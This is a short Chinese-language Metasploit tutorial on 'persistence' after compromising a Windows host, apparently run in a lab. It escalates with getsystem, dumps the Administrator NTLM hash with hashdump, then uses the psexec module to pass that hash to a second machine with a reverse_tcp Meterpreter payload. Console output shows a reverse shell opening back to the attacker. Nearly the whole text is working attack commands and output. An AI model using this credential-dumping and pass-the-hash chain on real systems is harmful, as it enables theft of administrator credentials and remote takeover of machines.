msfconsole权限维持

获取管理员hash

获得shell后，执行命令

getsystem

提高权限为管理员权限，接着执行命令

run post/windows/gather/hashdump

获取hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e:::

权限维持

执行命令

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.232.129
set LPORT 443
set RHOST 192.168.232.204
set SMBUser Administrator
show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                 192.168.232.204  yes       The target address
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser               Administrator    no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.232.129  yes       The listen address (an interface may be specified)
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e
SMBPass => aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e
msf exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.232.129:443 
[*] 192.168.232.204:445 - Connecting to the server...
[*] 192.168.232.204:445 - Authenticating to 192.168.232.204:445 as user 'Administrator'...
[*] 192.168.232.204:445 - Selecting PowerShell target
[*] 192.168.232.204:445 - Executing the payload...
[+] 192.168.232.204:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.232.204
[*] Meterpreter session 1 opened (192.168.232.129:443 -> 192.168.232.204:5231) at 2018-07-03 19:26:26 +0800

meterpreter >

成功得到反弹